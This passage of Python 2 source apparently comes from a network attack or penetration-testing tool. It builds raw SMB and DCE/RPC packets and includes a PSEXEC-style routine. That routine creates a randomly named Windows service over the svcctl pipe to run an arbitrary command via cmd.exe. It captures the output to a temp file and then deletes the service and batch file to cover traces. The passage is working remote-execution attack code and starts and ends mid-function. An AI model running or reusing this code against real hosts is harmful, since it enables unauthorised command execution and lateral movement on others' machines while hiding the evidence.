self.fields["AsnSecMechLenOfLen"] = "\x82"
|
||||||
|
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4)
|
||||||
|
else:
|
||||||
|
self.fields["AsnSecMechLenOfLen"] = "\x81"
|
||||||
|
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6)
|
||||||
|
|
||||||
|
if len(NTLMData)-12 > 255:
|
||||||
|
self.fields["ChoosedTagLenOfLen"] = "\x82"
|
||||||
|
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8)
|
||||||
|
else:
|
||||||
|
self.fields["ChoosedTagLenOfLen"] = "\x81"
|
||||||
|
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9)
|
||||||
|
|
||||||
|
if len(NTLMData)-16 > 255:
|
||||||
|
self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
|
||||||
|
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12)
|
||||||
|
else:
|
||||||
|
self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
|
||||||
|
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12)
|
||||||
|
|
||||||
|
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
|
||||||
|
|
||||||
|
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
## Packet len
|
||||||
|
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
|
||||||
|
##Buff Len
|
||||||
|
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated))
|
||||||
|
##Complete Buff Len
|
||||||
|
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
|
||||||
|
|
||||||
|
class SMBTreeConnectData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x04"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved","\x00" ),
|
||||||
|
("Andxoffset", "\x5a\x00"),
|
||||||
|
("Flags","\x08\x00"),
|
||||||
|
("PasswdLen", "\x01\x00"),
|
||||||
|
("Bcc","\x2f\x00"),
|
||||||
|
("Passwd", "\x00"),
|
||||||
|
("Path","\\\\IPC$"),
|
||||||
|
("PathTerminator","\x00\x00"),
|
||||||
|
("Service","?????"),
|
||||||
|
("Terminator", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
##Convert Path to Unicode first before any Len calc.
|
||||||
|
self.fields["Path"] = self.fields["Path"].encode('utf-16le')
|
||||||
|
|
||||||
|
##Passwd Len
|
||||||
|
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2]
|
||||||
|
|
||||||
|
##Packet len
|
||||||
|
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
|
||||||
|
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
|
||||||
|
|
||||||
|
##Bcc Buff Len
|
||||||
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
|
class SMBNTCreateData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x18"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Reserved2", "\x00"),
|
||||||
|
("FileNameLen", "\x07\x00"),
|
||||||
|
("CreateFlags", "\x16\x00\x00\x00"),
|
||||||
|
("RootFID", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\x00\x00\x00\x02"),
|
||||||
|
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("FileAttrib", "\x00\x00\x00\x00"),
|
||||||
|
("ShareAccess", "\x07\x00\x00\x00"),
|
||||||
|
("Disposition", "\x01\x00\x00\x00"),
|
||||||
|
("CreateOptions", "\x00\x00\x00\x00"),
|
||||||
|
("Impersonation", "\x02\x00\x00\x00"),
|
||||||
|
("SecurityFlags", "\x00"),
|
||||||
|
("Bcc", "\x08\x00"),
|
||||||
|
("FileName", "\\svcctl"),
|
||||||
|
("FileNameNull", "\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||||
|
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBReadData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0a"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("FID", "\x00\x00"),
|
||||||
|
("Offset", "\x19\x03\x00\x00"),
|
||||||
|
("MaxCountLow", "\xed\x01"),
|
||||||
|
("MinCount", "\xed\x01"),
|
||||||
|
("Hidden", "\xff\xff\xff\xff"),
|
||||||
|
("Remaining", "\x00\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBWriteData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0e"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("FID", "\x06\x40"),
|
||||||
|
("Offset", "\xea\x03\x00\x00"),
|
||||||
|
("Reserved2", "\xff\xff\xff\xff"),
|
||||||
|
("WriteMode", "\x08\x00"),
|
||||||
|
("Remaining", "\xdc\x02"),
|
||||||
|
("DataLenHi", "\x00\x00"),
|
||||||
|
("DataLenLow", "\xdc\x02"),
|
||||||
|
("DataOffset", "\x3f\x00"),
|
||||||
|
("HiOffset", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\xdc\x02"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBDCEData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x0b"),
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x2c\x02"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x00\x00\x00\x00"),
|
||||||
|
("MaxTransFrag", "\xd0\x16"),
|
||||||
|
("MaxRecvFrag", "\xd0\x16"),
|
||||||
|
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||||
|
("CTXNumber", "\x01"),
|
||||||
|
("CTXPadding", "\x00\x00\x00"),
|
||||||
|
("CTX0ContextID", "\x00\x00"),
|
||||||
|
("CTX0ItemNumber", "\x01\x00"),
|
||||||
|
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
|
||||||
|
("CTX0UIDVersion", "\x02\x00"),
|
||||||
|
("CTX0UIDVersionlo","\x00\x00"),
|
||||||
|
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
|
||||||
|
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
|
||||||
|
|
||||||
|
|
||||||
|
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBDCEPacketData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Version", "\x05"),
|
||||||
|
("VersionLow", "\x00"),
|
||||||
|
("PacketType", "\x00"),
|
||||||
|
("PacketFlag", "\x03"),
|
||||||
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
|
("FragLen", "\x2c\x02"),
|
||||||
|
("AuthLen", "\x00\x00"),
|
||||||
|
("CallID", "\x00\x00\x00\x00"),
|
||||||
|
("AllocHint", "\x38\x00\x00\x00"),
|
||||||
|
("ContextID", "\x00\x00"),
|
||||||
|
("Opnum", "\x0f\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
|
||||||
|
|
||||||
|
self.fields["FragLen"] = struct.pack("<h",len(Data1))
|
||||||
|
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBDCESVCCTLOpenManagerW(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
|
||||||
|
("MaxCount", "\x0f\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0f\x00\x00\x00"),
|
||||||
|
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
|
||||||
|
("MachineNameNull", "\x00\x00\x00\x00"),
|
||||||
|
("DbPointer", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\x3f\x00\x0f\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
## Convert to UTF-16LE
|
||||||
|
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
|
||||||
|
|
||||||
|
class SMBDCESVCCTLCreateService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x0c\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0c\x00\x00\x00"),
|
||||||
|
("ServiceName", "AyAGaxwLhCP"),
|
||||||
|
("MachineNameNull", "\x00\x00"),
|
||||||
|
("ReferentID", "\x9c\xfa\x9a\xc9"),
|
||||||
|
("MaxCountRefID", "\x11\x00\x00\x00"),
|
||||||
|
("OffsetID", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCountRefID", "\x11\x00\x00\x00"),
|
||||||
|
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
|
||||||
|
("DisplayNameIDNull", "\x00\x00\x00\x00"),
|
||||||
|
("AccessMask", "\xff\x01\x0f\x00"),
|
||||||
|
("ServerType", "\x10\x01\x00\x00"),
|
||||||
|
("ServiceStartType", "\x03\x00\x00\x00"),
|
||||||
|
("ServiceErrorCtl", "\x00\x00\x00\x00"),
|
||||||
|
("BinPathMaxCount", "\xb6\x00\x00\x00"),
|
||||||
|
("BinPathOffset", "\x00\x00\x00\x00"),
|
||||||
|
("BinPathActualCount", "\xb6\x00\x00\x00"),
|
||||||
|
("FileName", ""),
|
||||||
|
("BinPathName", ""),
|
||||||
|
("BinCMD", ""),
|
||||||
|
("BintoEnd", ""),
|
||||||
|
("BinPathNameNull", "\x00\x00"),
|
||||||
|
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
|
||||||
|
|
||||||
|
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
|
||||||
|
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
|
||||||
|
CleanService = "sc delete "+self.fields["ServiceName"]+"^&"#Start by deleting the service..then run the cmd.
|
||||||
|
FinalCMD = CleanService+"del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
|
||||||
|
#That is: delete service we just ran, delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
|
||||||
|
self.fields["FileName"] = ""#Reset it.
|
||||||
|
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
|
||||||
|
self.fields["BinCMD"] = FinalCMD
|
||||||
|
self.fields["BintoEnd"] = "& %COMSPEC% /C "+File
|
||||||
|
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
|
||||||
|
|
||||||
|
## Calculate first
|
||||||
|
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
|
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
|
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
|
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
|
## Then convert to UTF-16LE, yeah it's weird..
|
||||||
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
|
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||||
|
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
|
||||||
|
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||||
|
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
|
||||||
|
|
||||||
|
class SMBDCESVCCTLOpenService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x0c\x00\x00\x00"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("ActualCount", "\x0c\x00\x00\x00"),
|
||||||
|
("ServiceName", ""),
|
||||||
|
("MachineNameNull", "\x00\x00"),
|
||||||
|
("AccessMask", "\xff\x01\x0f\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
## Calculate first
|
||||||
|
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
|
## Then convert to UTF-16LE, yeah it's weird..
|
||||||
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
|
|
||||||
|
class SMBDCESVCCTLStartService(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandle", ""),
|
||||||
|
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class OpenAndX(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0f"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Flags", "\x07\x00"),
|
||||||
|
("DesiredAccess", "\xc2\x00"),
|
||||||
|
("SearchAttrib", "\x16\x00"),
|
||||||
|
("FileAttrib", "\x20\x00"),
|
||||||
|
("Created", "\x40\x9d\xc1\x57"),
|
||||||
|
("OpenFunc", "\x12\x00"),
|
||||||
|
("allocsize", "\x00\x00\x00\x00"),
|
||||||
|
("Timeout", "\x00\x00\x00\x00"),
|
||||||
|
("Reserved2", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\x0b\x00"),
|
||||||
|
("Terminator", ""),
|
||||||
|
("File", "\\hola.txt"),
|
||||||
|
("FileNull", "\x00"),#00 00
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
#self.fields["File"] = self.fields["File"].encode('utf-16le')
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Terminator"])+str(self.fields["File"])+str(self.fields["FileNull"])))
|
||||||
|
|
||||||
|
class ReadRequest(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x05"),
|
||||||
|
("FID", "\x02\x40"),
|
||||||
|
("Count", "\xf0\xff"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("RemainingBytes", "\xf0\xff"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
class ReadRequestAndX(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0C"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("AndXOffset", "\xde\xde"),#
|
||||||
|
("FID", "\x02\x40"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("MaxCountLow", "\xf0\xff"),
|
||||||
|
("MinCount", "\xf0\xff"),
|
||||||
|
("Timeout", "\xff\xff\xff\xff"),
|
||||||
|
("RemainingBytes", "\xf0\xff"),
|
||||||
|
("HighOffset", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
|
||||||
|
class CloseRequest(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x03"),
|
||||||
|
("FID", "\x00\x00"),
|
||||||
|
("LastWrite", "\xff\xff\xff\xff"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
class DeleteFileRequest(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x01"),
|
||||||
|
("SearchAttributes", "\x06\x00"),
|
||||||
|
("Bcc", "\x1b\x00"),
|
||||||
|
("BuffType", "\x04"),
|
||||||
|
("File", ""),
|
||||||
|
("FileNull", "\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["File"] = self.fields["File"].encode('utf-16le')
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["BuffType"])+str(self.fields["File"])+str(self.fields["FileNull"])))
|
||||||
|
|
||||||
|
class SMBEcho(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x01"),
|
||||||
|
("EchoCount", "\x01\x00"),
|
||||||
|
("Bcc", "\x1b\x00"),
|
||||||
|
("File", "LWO CW VLO DEO MAW LMW ARW"),#nt4 style.
|
||||||
|
("FileNull", "\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
###########################PSEXEC#############################################
|
||||||
|
|
||||||
|
def ExtractCommandOutput(data):
|
||||||
|
DataLen = struct.unpack("<H", data[61:63])[0]
|
||||||
|
Output = data[63:63+DataLen]
|
||||||
|
return Output
|
||||||
|
|
||||||
|
def SMBReadRecv(s):
|
||||||
|
Completedata=[]
|
||||||
|
data=''
|
||||||
|
Start=time.time()
|
||||||
|
s.setblocking(0)
|
||||||
|
while 1:
|
||||||
|
if Completedata and time.time()-Start > 0.5:#Timeout
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
data = s.recv(1024)
|
||||||
|
if data:
|
||||||
|
Completedata.append(data)
|
||||||
|
Start=time.time()
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
s.setblocking(1)
|
||||||
|
return s, ''.join(Completedata)
|
||||||
|
|
||||||
|
|
||||||
|
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host):
|
||||||
|
if data == None:
|
||||||
|
return False
|
||||||
|
head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBNTCreateData()
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
## Fail Handling.
|
||||||
|
if data[8:10] == "\xa2\x22":
|
||||||
|
print "[+] NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation.\n"
|
||||||
|
return False
|
||||||
|
|
||||||
|
## DCE/RPC Write.
|
||||||
|
if data[8:10] == "\xa2\x00":
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
x = SMBDCEData()
|
||||||
|
x.calculate()
|
||||||
|
f = data[42:44]
|
||||||
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLOpenManagerW.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00")#, MachineName="\\\\"+Host[0])
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC SVCCTLCreateService.
|
||||||
|
if data[8:10] == "\x2e\xb0":
|
||||||
|
print "[+] Server returned NT_STATUS_PIPE_DISCONNECTED, no admin rights on that pipe.\n"
|
||||||
|
return False
|
||||||
|
## DCE/RPC SVCCTLCreateService.
|
||||||
|
if data[8:10] == "\x2e\x00":
|
||||||
|
if data[len(data)-4:] == "\x05\x00\x00\x00":
|
||||||
|
print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?\n"
|
||||||
|
return False
|
||||||
|
#print "[+] Creating service"
|
||||||
|
head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
ContextHandler = data[88:108]
|
||||||
|
ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)])
|
||||||
|
ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)])
|
||||||
|
FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat'
|
||||||
|
FilePath = FileChars
|
||||||
|
w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars, FileName=FilePath, ReferentID="\x21\x03\x03\x00",BinCMD=Command)
|
||||||
|
w.calculate()
|
||||||
|
x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w)
|
||||||
|
x.calculate()
|
||||||
|
t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x)
|
||||||
|
t.calculate()
|
||||||
|
packet0 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
## DCE/RPC Read Answer.
|
||||||
|
if data[8:10] == "\x2f\x00":
|
||||||
|
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
|
||||||
|
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
|
